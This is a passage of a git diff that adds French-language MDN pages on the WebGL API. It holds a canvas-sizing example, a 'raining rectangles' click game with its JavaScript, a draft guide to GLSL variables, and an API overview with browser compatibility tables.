+<p>La taille du premier canevas est définie avec la taille de l'élément, mis en forme, qui est déterminée par {{Glossary("CSS")}}. Pour cela, on affecte respectivement les valeurs {{domxref("Element.clientWidth","clientWidth")}} and {{domxref("Element.clientHeight","clientHeight")}} aux propriétés {{domxref("HTMLCanvasElement.width","width")}} et {{domxref("HTMLCanvasElement.height","height")}}.</p>
+
+<p>Pour le deuxième canevas, on n'applique pas ce traitement, c'est donc les dimensions internes du canevas : {{domxref("HTMLCanvasElement.width","width")}} et {{domxref("HTMLCanvasElement.height","height")}} qui sont prises en compte. Celles-ci sont différentes des dimensions de l'élément <code>canvas</code> affiché dans le fenêtre du navigateur.</p>
+
+<p>L'effet devient visible quand on utilise les méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}} pour dessiner un carré au centre du canevas en définissant sa position et sa taille en pixels. Dans le premier canevas, on obtient bien le bon résultat et dans le deuxième, on a la mauvaise forme, la mauvaise taille et la mauvaise position.</p>
+
+<pre class="brush: html">&lt;p&gt;On compare les deux canevas.&lt;/p&gt;
+&lt;canvas&gt;Votre navigateur ne semble pas
+    supporter l'élément HTML5 canvas.&lt;/canvas&gt;
+&lt;canvas&gt;Votre navigateur ne semble pas
+    supporter l'élément HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  width : 120px;
+  height : 80px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+</pre>
+
+<pre class="brush: js">window.addEventListener("load", function() {
+  "use strict"
+  var firstCanvas = document.getElementsByTagName("canvas")[0],
+    secondCanvas = document.getElementsByTagName("canvas")[1];
+
+  // Ici on applique le traitement spécifique au premier
+  // canevas
+  firstCanvas.width = firstCanvas.clientWidth;
+  firstCanvas.height = firstCanvas.clientHeight;
+
+  // Ensuite on traite les deux canevas de la même façon
+  [firstCanvas, secondCanvas].forEach(function(canvas) {
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+    if (!gl) {
+      document.querySelector("p").innerHTML =
+        "Échec de l'obtention du contexte WebGL. "
+        + "Votre navigateur peut ne pas supporter WebGL.";
+      return;
+    }
+    gl.viewport(0, 0,
+      gl.drawingBufferWidth, gl.drawingBufferHeight);
+    gl.enable(gl.SCISSOR_TEST);
+    gl.scissor(30, 10, 60, 60);
+    gl.clearColor(1.0, 1.0, 0.0, 1.0);
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  });
+}, false);
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/canvas-size-and-webgl">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples","Apprendre/WebGL/Par_exemple/Modèle_1")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/une_pluie_de_rectangle/index.html b/files/fr/web/api/webgl_api/by_example/une_pluie_de_rectangle/index.html
new file mode 100644
index 0000000000..e9f9bcdf8c
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/une_pluie_de_rectangle/index.html
@@ -0,0 +1,176 @@
+---
+title: Une pluie de rectangle
+slug: Web/API/WebGL_API/By_example/Une_pluie_de_rectangle
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Raining_rectangles
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique","Apprendre/WebGL/Par_exemple/Hello_GLSL")}}</p>
+
+<p class="summary">Cet exemple permet de créer un jeu simple qui illustre ce qu'il est possible de faire avec du « découpage », des animations et des interactions utilisateur.</p>
+
+<p>{{EmbedLiveSample("Utiliser_des_animations_et_des_interactions_grâce_à_des_découpes",660,425)}}</p>
+
+<h3 id="Utiliser_des_animations_et_des_interactions_grâce_à_des_découpes">Utiliser des animations et des interactions grâce à des découpes</h3>
+
+<p>Voici un jeu simple où il faut essayer de cliquer sur les rectangles qui tombent pour en attraper le plus possible. Dans cet exemple, on utilise un approche orientée objet pour représenter les rectangles. Cela permet de mieux gérer l'état du rectangle (sa position, sa couleur, etc.) et cela rend le code plus compact et plus facile à réutiliser.</p>
+
+<p>Dans cet exemple, on combine l'applique de couleurs unis dans le tampon de dessin et des opérations de découpe. C'est un aperçu d'une application graphique complète qui manipule les différentes phases des processus {{Glossary("WebGL")}} et de son automate.</p>
+
+<p>De plus, cet exmple illustre comment intégrer des fonctions WebGL dans une boucle de jeu. La boucle de jeu est responsable du dessin pour l'animation, de la gestion des entrées utilisateur et de la réactivité de l'ensemble. Voici comment la boucle de jeu est implémentée avec des  <code>setTimeout</code>.</p>
+
+<pre class="brush: html hidden">&lt;p&gt;Vous en avez attrapé
+&lt;strong&gt;0&lt;/strong&gt;.
+  Vous en avez loupé
+&lt;strong&gt;0&lt;/strong&gt;.&lt;/p&gt;
+&lt;canvas&gt;Il semblerait que votre
+    navigateur ne supporte pas l'élément
+    HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css hidden">body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js hidden">;(function(){
+</pre>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupAnimation, false);
+var gl,
+  timer,
+  rainingRect,
+  scoreDisplay,
+  missesDisplay;
+function setupAnimation (evt) {
+  window.removeEventListener(evt.type, setupAnimation, false);
+  if (!(gl = getRenderingContext()))
+    return;
+  gl.enable(gl.SCISSOR_TEST);
+
+  rainingRect = new Rectangle();
+  timer = setTimeout(drawAnimation, 17);
+  document.querySelector("canvas")
+      .addEventListener("click", playerClick, false);
+  var displays = document.querySelectorAll("strong");
+  scoreDisplay = displays[0];
+  missesDisplay = displays[1];
+}
+
+var score = 0,
+  misses = 0;
+function drawAnimation () {
+  gl.scissor(rainingRect.position[0], rainingRect.position[1],
+      rainingRect.size[0] , rainingRect.size[1]);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  rainingRect.position[1] -= rainingRect.velocity;
+  if (rainingRect.position[1] &lt; 0) {
+    misses += 1;
+    missesDisplay.innerHTML = misses;
+    rainingRect = new Rectangle();
+  }
+  // On utilise la fonction setTimeout pour l'animation
+  // et on appelle ainsi la fonction drawAnimation toutes
+  // les 17ms, sinon, on n'aurait pas d'animation.
+  timer = setTimeout(drawAnimation, 17);
+}
+
+function playerClick (evt) {
+  // Il est nécessaire de transfomer la position de l'événement
+  // déclenché par le clic, exprimée dans le repèree de la fenêtre
+  // pour obtenir la position relative au canevas.
+  // De plus, on rappelle qu'avec WebGL les ordonnées croissent
+  // selon l'axe vertical, c'est-à-dire l'inverse du système
+  // utilisé pour la fenêtre du navigateur.
+  var position = [
+      evt.pageX - evt.target.offsetLeft,
+      gl.drawingBufferHeight - (evt.pageY - evt.target.offsetTop),
+    ];
+  // si le clic est sur un rectangle, on l'attrape.
+  // On incrémente donc le score et on crée un nouveau rectangle
+  var diffPos = [ position[0] - rainingRect.position[0],
+      position[1] - rainingRect.position[1] ];
+  if ( diffPos[0] &gt;= 0 &amp;&amp; diffPos[0] &lt; rainingRect.size[0]
+      &amp;&amp; diffPos[1] &gt;= 0 &amp;&amp; diffPos[1] &lt; rainingRect.size[1] ) {
+    score += 1;
+    scoreDisplay.innerHTML = score;
+    rainingRect = new Rectangle();
+  }
+}
+
+function Rectangle () {
+  // On garde une référence au nouvel objet Rectangle
+  // plutôt que de risquer une confusion avec this.
+  var rect = this;
+  // On prend trois nombres aléatoires pour la taille
+  // et la position du nouveau rectangle. On utilise
+  // un nombre différent pour la position et la taille
+  // car on veut que celles-ci soient indépendantes.
+  var randNums = getRandomVector();
+  rect.size = [
+    5 + 120 * randNums[0],
+    5 + 120 * randNums[1]
+  ];
+  rect.position = [
+    randNums[2]*(gl.drawingBufferWidth - rect.size[0]),
+    gl.drawingBufferHeight
+  ];
+  rect.velocity = 1.0 + 6.0*Math.random();
+  rect.color = getRandomVector();
+  gl.clearColor(rect.color[0], rect.color[1], rect.color[2], 1.0);
+  function getRandomVector() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}
+</pre>
+
+<pre class="brush: js hidden">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Échec de l'obtention du contexte."
+      + " WebGL. Votre navigateur ne supporte peut-être pas "
+      + " WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+
+<pre class="brush: js hidden">})();
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/raining-rectangles">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique","Apprendre/WebGL/Par_exemple/Hello_GLSL")}}</p>
diff --git a/files/fr/web/api/webgl_api/données/index.html b/files/fr/web/api/webgl_api/données/index.html
new file mode 100644
index 0000000000..f41b0e2f1d
--- /dev/null
+++ b/files/fr/web/api/webgl_api/données/index.html
@@ -0,0 +1,56 @@
+---
+title: Les données en WebGL
+slug: Web/API/WebGL_API/Données
+tags:
+  - 3D
+  - API WebGL
+  - Attributs
+  - BesoinDExemple
+  - BesoinDeContenu
+  - Graphismes
+  - Graphismes 3D
+  - Guide
+  - Intermédiaire
+  - Uniformes
+  - Variants
+  - WebGL
+  - dessin
+translation_of: Web/API/WebGL_API/Data
+---
+<div>{{WebGLSidebar}}{{draft}}</div>
+
+<p>Les programmes shaders ont accès à trois types de stockage de données, chacun d'entre eux ayant un usage particulier. Chaque type de variable est accessible par l'un des types de programmes de shader ou par les deux (en fonction du type de stockage de données), et éventuellement, par le code JavaScript du site, suivant le type de variable particulier.</p>
+
+<h2 id="Types_de_données_GLSL">Types de données GLSL</h2>
+
+<p>&lt;&lt;documenter les types de base, les vecteurs, etc. ; voir <a href="https://www.khronos.org/opengl/wiki/Data_Type_(GLSL)">Data Type (GLSL)</a>  sur le wiki WebGL de Khronos &gt;&gt;</p>
+
+<h2 id="Variables_GLSL">Variables GLSL</h2>
+
+<p>Il existe trois types de stockage "variable" ou de stockage de données dans GLSL, chacun ayant son propre but et ses propres cas d'utilisation : <strong>{{anch("Attributes", "attributes")}}</strong>, <strong>{{anch("Varyings", "varyings")}}</strong>, et <strong>{{anch("Uniforms", "uniforms")}}</strong>.</p>
+
+<h3 id="Attributes">Attributes</h3>
+
+<p>Les <strong>attributes</strong> sont des variables GLSL qui ne sont disponibles que pour le shader de sommet (en tant que variables) et le code JavaScript. Les attributs sont généralement utilisés pour stocker des informations de couleur, des coordonnées de texture et toutes les autres données calculées ou récupérées qui doivent être partagées entre le code JavaScript et le shader de sommet.</p>
+
+<p>&lt;&lt;add how to use them&gt;&gt;</p>
+
+<h3 id="Varyings">Varyings</h3>
+
+<p>Les <strong>varyings</strong> sont des variables déclarées par le shader de sommet et elle sont utilisées pour transmettre des données du shader de sommet au shader de fragment. Ceci est communément utilisé pour partager un sommet {{interwiki ("wikipedia", "Normal_ (géométrie)", "vecteur normal")}} après qu'il a été calculé par le shader de sommet.</p>
+
+<p>&lt;&lt;how to use&gt;&gt;</p>
+
+<h3 id="Uniforms">Uniforms</h3>
+
+<p>Les <strong>uniforms</strong> sont définis par le code JavaScript et sont disponibles à la fois pour le shader de sommet et pour celui de fragment. Ils sont utilisés pour fournir des valeurs qui seront les mêmes pour tout ce qui est dessiné dans le cadre, telles que les positions et les intensités d'éclairage, la transformation globale et les détails de la perspective, et ainsi de suite.</p>
+
+<p>&lt;&lt;add details&gt;&gt;</p>
+
+<h2 id="Tampons">Tampons</h2>
+
+<p>&lt;&lt;add information&gt;&gt;</p>
+
+<h2 id="Textures">Textures</h2>
+
+<p>&lt;&lt;add information&gt;&gt;</p>
diff --git a/files/fr/web/api/webgl_api/index.html b/files/fr/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..27bb717381
--- /dev/null
+++ b/files/fr/web/api/webgl_api/index.html
@@ -0,0 +1,303 @@
+---
+title: 'L''API WebGL : graphismes 2D et 3D pour le web'
+slug: Web/API/WebGL_API
+tags:
+  - 3D
+  - API WebGL
+  - Avancé
+  - Graphiques
+  - Graphiques 3D
+  - Media
+  - Vue d'ensemble
+  - WebGL
+translation_of: Web/API/WebGL_API
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p>WebGL (Bibliothèque de Graphismes Web) est une API JavaScript pour l'affichage de graphismes 2D et 3D dans n'importe quel navigateur web compatible sans utilisation de modules complémentaires. WebGl réalise cela en introduisant une API qui se conforme de façon très proche à OpenGL ES 2.0 et qui peut être utilisée dans les éléments <a href="/fr/docs/HTML/Canvas" title="/fr/docs/HTML/Canvas">canvas </a>d'HTML5.</p>
+</div>
+
+<p>Le support pour WebGL est présent dans <a href="https://developer.mozilla.org/fr-FR/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ and <a href="http://windows.microsoft.com/fr-fr/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+ ; toutefois, l'appareil de l'utilisateur doit aussi avoir le matériel qui supporte ces fonctionnalités.</p>
+
+<p>L'élément {{HTMLElement("canvas")}} est aussi utilisé par <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/Canvas_API">Canvas 2D</a> pour faire des graphismes 2D sur les pages web.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Interfaces_standard">Interfaces standard</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("WebGLRenderingContext")}}</li>
+ <li>{{domxref("WebGL2RenderingContext")}} {{experimental_inline}}</li>
+ <li>{{domxref("WebGLActiveInfo")}}</li>
+ <li>{{domxref("WebGLBuffer")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WebGLFramebuffer")}}</li>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLQuery")}} {{experimental_inline}}</li>
+ <li>{{domxref("WebGLRenderbuffer")}}</li>
+ <li>{{domxref("WebGLSampler")}} {{experimental_inline}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLShaderPrecisionFormat")}}</li>
+ <li>{{domxref("WebGLSync")}} {{experimental_inline}}</li>
+ <li>{{domxref("WebGLTexture")}}</li>
+ <li>{{domxref("WebGLTransformFeedback")}} {{experimental_inline}}</li>
+ <li>{{domxref("WebGLUniformLocation")}}</li>
+ <li>{{domxref("WebGLVertexArrayObject")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<h3 id="Extensions">Extensions</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("ANGLE_instanced_arrays")}}</li>
+ <li>{{domxref("EXT_blend_minmax")}}</li>
+ <li>{{domxref("EXT_color_buffer_float")}}</li>
+ <li>{{domxref("EXT_color_buffer_half_float")}}</li>
+ <li>{{domxref("EXT_disjoint_timer_query")}}</li>
+ <li>{{domxref("EXT_frag_depth")}}</li>
+ <li>{{domxref("EXT_sRGB")}}</li>
+ <li>{{domxref("EXT_shader_texture_lod")}}</li>
+ <li>{{domxref("EXT_texture_filter_anisotropic")}}</li>
+ <li>{{domxref("OES_element_index_uint")}}</li>
+ <li>{{domxref("OES_standard_derivatives")}}</li>
+ <li>{{domxref("OES_texture_float")}}</li>
+ <li>{{domxref("OES_texture_float_linear")}}</li>
+ <li>{{domxref("OES_texture_half_float")}}</li>
+ <li>{{domxref("OES_texture_half_float_linear")}}</li>
+ <li>{{domxref("OES_vertex_array_object")}}</li>
+ <li>{{domxref("WEBGL_color_buffer_float")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_astc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_atc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_etc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_etc1")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_pvrtc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_s3tc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_s3tc_srgb")}}</li>
+ <li>{{domxref("WEBGL_debug_renderer_info")}}</li>
+ <li>{{domxref("WEBGL_debug_shaders")}}</li>
+ <li>{{domxref("WEBGL_depth_texture")}}</li>
+ <li>{{domxref("WEBGL_draw_buffers")}}</li>
+ <li>{{domxref("WEBGL_lose_context")}}</li>
+</ul>
+</div>
+
+<h3 id="Evènements">Evènements</h3>
+
+<ul>
+ <li>{{Event("webglcontextlost")}}</li>
+ <li>{{Event("webglcontextrestored")}}</li>
+ <li>{{Event("webglcontextcreationerror")}}</li>
+</ul>
+
+<h3 id="Constantes_et_types">Constantes et types</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/Constants">Constantes WebGL</a></li>
+ <li><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/Types">Types WebGL </a></li>
+</ul>
+
+<h3 id="WebGL_2">WebGL 2</h3>
+
+<p>WebGL 2 est une mise à jour majeure de WebGL, qui est fournie à travers l'interface {{domxref("WebGL2RenderingContext")}}. Elle est basée sur OpenGL ES 3.0, et ses nouvelles fonctionnalités comprennent :</p>
+
+<ul>
+ <li>les <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL2RenderingContext/texImage3D">textures 3D</a>,</li>
+ <li>les <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGLSampler">objets Sampler</a>,</li>
+ <li>les <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects">objets de tampon Uniform</a>,</li>
+ <li>les <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGLSync">objets Sync</a>,</li>
+ <li>les <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGLQuery">objets Query</a>,</li>
+ <li>les <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGLTransformFeedback">objets Tranform Feedback</a>,</li>
+ <li>des extensions promues, qui sont maintenant essentielles pour WebGL 2 : les <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGLVertexArrayObject">objets Vertex Array</a>, l'<a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced">instanciation</a>, les <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL2RenderingContext/drawBuffers">cibles de rendu multiples</a>, la <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/EXT_frag_depth">profondeur de fragment</a>.</li>
+</ul>
+
+<p>Voir aussi le post de blog <a href="https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/">"WebGL 2 lands in Firefox"</a> et <a href="http://webglsamples.org/WebGL2Samples/">webglsamples.org/WebGL2Samples</a> pour quelques démos.</p>
+
+<h2 id="Guides_et_tutoriels">Guides et tutoriels</h2>
+
+<p>Ci-dessous, vous pourrez trouver divers guides pour vous aider à apprendre les concepts WebGL, et des tutoriels qui proposent des leçons et des exemples pas-à-pas.</p>
+
+<h3 id="Guides">Guides</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/Data">Données en WebGL</a></dt>
+ <dd>Un guide pour les variables, les tampons et autres types de données utilisés lors de l'écriture de code WebGL.</dd>
+ <dt><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/WebGL_best_practices">Meilleures pratiques WebGL</a></dt>
+ <dd>Des indications et des suggestions pour vous aider à améliore la qualité, les performances et la fiabilité de votre contenu WebGL.</dd>
+ <dt><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/Using_Extensions">Utilisation des extensions</a></dt>
+ <dd>Un guide pour l'utilisation des extensions WebGL.</dd>
+</dl>
+
+<h3 id="Tutoriels">Tutoriels</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/Tutorial">Tutoriel WebGL</a></dt>
+ <dd>Un guide pour les débutants sur les concepts essentiels de WebGL. Un bon endroit pour démarrer si vous n'avez pas d'expérience antérieure de WebGL.</dd>
+</dl>
+
+<h3 id="Exemples">Exemples</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example">Un exemple de base d'animation WebGL 2D</a></dt>
+ <dd>Cet exemple montre l'animation simple d'une forme monochrome. Les sujets abordés sont l'adaptation aux différences de ratio d'aspect, une fonction pour construire des programmes de shader à partir d'ensembles de plusieurs shaders, et les bases du dessin dans WebGL.</dd>
+</dl>
+
+<h3 id="Tutoriels_avancés">Tutoriels avancés</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/WebGL_model_view_projection">Projection de vue de modèle WebGL</a></dt>
+ <dd>Une explication détaillée des trois matrices de base qui sont typiquement utilisées pour représenter une vue d'un objet 3D : les matrices de modèle, de vue et de projection.</dd>
+ <dt><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL_API/Matrix_math_for_the_web">Mathématiques matricielles pour le web</a></dt>
+ <dd>Un guide utile sur le fonctionnement des matrices de transformation 3D, qui peut être utilisé sur le web - à la fois pour les calculs WebGL et dans les transformations CSS3.</dd>
+</dl>
+
+<h2 id="Ressources">Ressources</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a> Une conférence de Nick Desaulniers qui présente les bases de WebGL. C'est un bon endroit pour commencer si vous n'avez jamais fait de programmation graphique de bas niveau.</li>
+ <li><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Khronos WebGL site</a> Le site principal pour WebGL chez le groupe Khronos.</li>
+ <li><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a> Un site proposant des tutoriels sur la façon d'utiliser WebGL.</li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a> Un tutoriel de base sur les fondamentaux de WebGL.</li>
+ <li><a href="http://webglplayground.net/" title="http://webglplayground.net">WebGL playground</a> Un outil en ligne pour créer et partager des projets WebGL. Bon pour le prototypage rapide et l'expérimentation.</li>
+ <li><a href="http://www.webglacademy.com/" title="http://www.webglacademy.com">WebGL Academy</a> Un éditeur HTML / JavaScript proposant des tutoriels pour apprendre les bases de la programmation webgl.</li>
+ <li><a href="http://webglstats.com/">WebGL Stats</a> Un site proposant des statistiques sur les possibilités WebGL des navigateurs sur différentes plates-formes.</li>
+</ul>
+
+<h3 id="Bibliothèques">Bibliothèques</h3>
+
+<ul>
+ <li><a href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a> Bibliothèque matricielle et vectorielle JavaScript pour les applications WebGL hautes performances</li>
+ <li><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> Une bibliothèque open source pour manipuler des vecteurs et des matrices. Non optimisée pour WebGL mais extrêmement robuste.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebGL')}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition. Basée sur OpenGL ES 2.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2')}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Construite au-dessus de WebGL 1. Basée sur OpenGL ES 3.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0')}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0')}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>11</td>
+   <td>12</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>WebGL 2</td>
+   <td>56</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("51")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>43</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>25</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>8.1</td>
+  </tr>
+  <tr>
+   <td>WebGL 2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3>
+
+<p>En plus du navigateur, la GPU elle-même doit également prendre en charge la fonctionnalité. Ainsi, par exemple, S3 Texture Compression (S3TC) n'est disponible que sur les tablettes à base de Tegra. La plupart des navigateurs rendent le contexte WebGL disponible via le nom de contexte <code>webgl</code>, mais les plus anciens ont aussi besoin d'<code>experimental-webgl</code>. De plus, le prochain <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGL2RenderingContext">WebGL 2</a> sera entièrement rétrocompatible et comprendra le nom de contexte <code>webgl2</code>.</p>
+
+<h3 id="Notes_Gecko">Notes Gecko</h3>
+
+<h4 id="Débogage_et_test_WebGL">Débogage et test WebGL</h4>
+
+<p>À partir de Gecko 10.0 {{geckoRelease("10.0")}}, deux préférences sont disponibles pour vous permettre de contrôler les fonctionnalités de WebGL à des fins de test :</p>
+
+<dl>
+ <dt><code>webgl.min_capability_mode</code></dt>
+ <dd>Propriété booléenne qui, lorsqu'elle est <code>true</code>, active un mode de possibilités minimales. Dans ce mode, WebGL est configuré pour prendre en charge uniquement le jeu de fonctionnalités minimal et les fonctionnalités requises par la spécification WebGL. Cela vous permet de vous assurer que votre code WebGL fonctionnera sur n'importe quel appareil ou navigateur, indépendamment de leurs possibilités. Elle est <code>false</code> par défaut.</dd>
+ <dt><code>webgl.disable_extensions</code></dt>
+ <dd>Propriété booléenne qui, lorsqu'elle est <code>true</code>, désactive toutes les extensions WebGL. Elle est <code>false</code> par défaut.</dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/Canvas_API">Canvas</a></li>
+ <li><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGLRenderingContext/getSupportedExtensions#Browser_compatibility">Informations de compatibilité à propos des extensions WebGL</a></li>
+</ul>
diff --git a/files/fr/web/api/webgl_api/tutorial/ajouter_des_couleurs_avec_les_shaders/index.html b/files/fr/web/api/webgl_api/tutorial/ajouter_des_couleurs_avec_les_shaders/index.html
new file mode 100644
index 0000000000..2bd786c015
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/ajouter_des_couleurs_avec_les_shaders/index.html
@@ -0,0 +1,117 @@
+---
+title: Ajouter des couleurs avec les nuanceurs
+slug: Web/API/WebGL_API/Tutorial/Ajouter_des_couleurs_avec_les_shaders
+tags:
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
+
